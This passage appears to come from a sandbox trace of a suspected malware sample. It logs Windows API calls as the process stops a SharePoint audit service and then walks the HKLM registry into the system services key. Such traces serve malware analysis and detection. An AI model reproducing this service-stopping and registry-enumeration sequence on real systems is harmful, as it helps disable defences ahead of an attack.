(hProv=0x7f03d0, dwFlags=0x0) returned 1 [0212.852] OpenServiceW (hSCManager=0x803918, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x20) returned 0x8038a0 [0212.853] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0212.871] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0212.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0212.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0212.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0212.871] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0212.871] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0212.872] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0212.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0212.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1850, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0212.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.872] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0212.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0212.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.872] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0212.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0212.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0212.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.872] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.872] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0212.872] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0212.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.873] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0212.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0212.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.873] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0212.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0212.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.873] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.873] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0212.873] RegCloseKey (hKey=0x80000002) returned 0x0 [0212.873] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0212.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.873] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.873] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1850, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0212.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.874] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0212.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1da8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0212.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.874] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0212.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0212.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1850, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0212.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.874] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0212.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0212.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.874] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0212.874] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.875] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0212.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0212.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.875] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0212.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0212.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0212.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.875] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0212.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.875] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0212.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.875] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.875] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0212.875] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0212.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1da8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0212.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.876] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0212.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0212.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1850, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0212.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.876] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0212.876] RegCloseKey (hKey=0x148) returned 0x0 [0212.876] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0212.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0212.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.876] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.876] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0212.876] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.876] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0212.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0212.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.877] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0212.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0212.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1da8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0212.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.877] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0212.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0212.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.877] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0212.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0212.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 